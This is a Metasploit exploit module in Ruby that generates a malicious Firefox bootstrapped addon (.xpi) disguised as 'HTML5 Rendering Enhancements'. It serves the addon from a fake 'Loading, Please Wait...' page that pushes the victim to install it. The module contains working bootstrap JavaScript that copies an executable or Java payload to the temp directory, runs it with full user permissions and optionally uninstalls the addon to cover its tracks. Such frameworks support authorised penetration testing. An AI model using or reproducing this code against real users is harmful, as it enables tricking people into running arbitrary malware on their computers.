Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'rex/zip'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize( info = {} )  
super( update_info( info,  
'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',  
'Description' => %q{  
This exploit dynamically creates a .xpi addon file.  
The resulting bootstrapped Firefox addon is presented to  
the victim via a web page with. The victim's Firefox browser  
will pop a dialog asking if they trust the addon.  
  
Once the user clicks "install", the addon is installed and  
executes the payload with full user permissions. As of Firefox  
4, this will work without a restart as the addon is marked to  
be "bootstrapped". As the addon will execute the payload after  
each Firefox restart, an option can be given to automatically  
uninstall the addon once the payload has been executed.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'mihi' ],  
'References' =>  
[  
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],  
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]  
],  
'DisclosureDate' => 'Jun 27 2007',  
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],  
'Payload' => { 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => ['java'],  
'Arch' => ARCH_JAVA  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Linux x86 (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
}  
],  
[ 'Mac OS X PPC (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
}  
],  
[ 'Mac OS X x86 (Native Payload)',  
{  
'Platform' => 'osx',  
'Arch' => ARCH_X86,  
}  
]  
],  
'DefaultTarget' => 1  
))  
  
register_options( [  
OptString.new('ADDONNAME', [ true,  
"The addon name.",  
"HTML5 Rendering Enhancements"  
]),  
OptBool.new('AutoUninstall', [ true,  
"Automatically uninstall the addon after payload execution",  
true  
])  
], self.class)  
end  
  
def on_request_uri( cli, request )  
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"  
  
if not request.uri.match(/\.xpi$/i)  
if not request.uri.match(/\/$/)  
send_redirect( cli, get_resource() + '/', '')  
return  
end  
  
print_status("#{msg} Handling request..." )  
  
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )  
return  
end  
  
p = regenerate_payload(cli)  
if not p  
print_error("#{msg} Failed to generate the payload.")  
# Send them a 404 so the browser doesn't hang waiting for data  
# that will never come.  
send_not_found(cli)  
return  
end  
  
# If we haven't returned yet, then this is a request for our xpi,  
# so build one  
  
if target.name == 'Generic (Java Payload)'  
jar = p.encoded_jar  
jar.build_manifest(:main_class => "metasploit.Payload")  
payload_file = jar.pack  
payload_name='payload.jar'  
payload_script=%q|  
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java  
java.lang.System.setSecurityManager(null);  
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);  
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);  
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);  
|  
else  
payload_file = generate_payload_exe  
payload_name='payload.exe'  
payload_script=%q|  
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);  
process.init(tmp);  
process.run(false,[],0);  
|  
end  
  
zip = Rex::Zip::Archive.new  
xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize!  
  
bootstrap_script = %q|  
function startup(data, reason) {  
var file = Components.classes["@mozilla.org/file/directory_service;1"].  
getService(Components.interfaces.nsIProperties).  
get("ProfD", Components.interfaces.nsIFile);  
file.append("extensions");  
|  
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|  
bootstrap_script << %Q|payload_name="#{payload_name}";|  
bootstrap_script << %q|  
file.append(xpi_guid);  
file.append(payload_name);  
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].  
getService(Components.interfaces.nsIProperties).  
get("TmpD", Components.interfaces.nsIFile);  
tmp.append(payload_name);  
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);  
file.copyTo(tmp.parent, tmp.leafName);  
|  
bootstrap_script << payload_script  
  
if (datastore['AutoUninstall'])  
bootstrap_script << %q|  
try { // Fx < 4.0  
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);  
} catch (e) {}  
try { // Fx 4.0 and later  
Components.utils.import("resource://gre/modules/AddonManager.jsm");  
AddonManager.getAddonByID(xpi_guid, function(addon) {  
addon.uninstall();  
});  
} catch (e) {}  
|  
end  
  
bootstrap_script << "}"  
  
zip.add_file('bootstrap.js', bootstrap_script)  
zip.add_file(payload_name, payload_file)  
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")  
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>  
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">  
<Description about="urn:mozilla:install-manifest">  
<em:id>#{xpi_guid}</em:id>  
<em:name>#{datastore['ADDONNAME']}</em:name>  
<em:version>1.0</em:version>  
<em:bootstrap>true</em:bootstrap>  
<em:unpack>true</em:unpack>  
<em:targetApplication>  
<Description>  
<em:id>[email protected]</em:id>  
<em:minVersion>1.0</em:minVersion>  
<em:maxVersion>*</em:maxVersion>  
</Description>  
</em:targetApplication>  
<em:targetApplication>  
<Description>  
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>  
<em:minVersion>1.0</em:minVersion>  
<em:maxVersion>*</em:maxVersion>  
</Description>  
</em:targetApplication>  
</Description>  
</RDF>|)  
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>  
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">  
<script src="bootstrap.js"/>  
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>  
</overlay>|)  
  
print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")  
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )  
handler( cli )  
end  
  
def generate_html  
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|  
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|  
html << %Q|<script>window.location.href="addon.xpi";</script>\n|  
html << %Q|</body></html>|  
return html  
end  
end  
`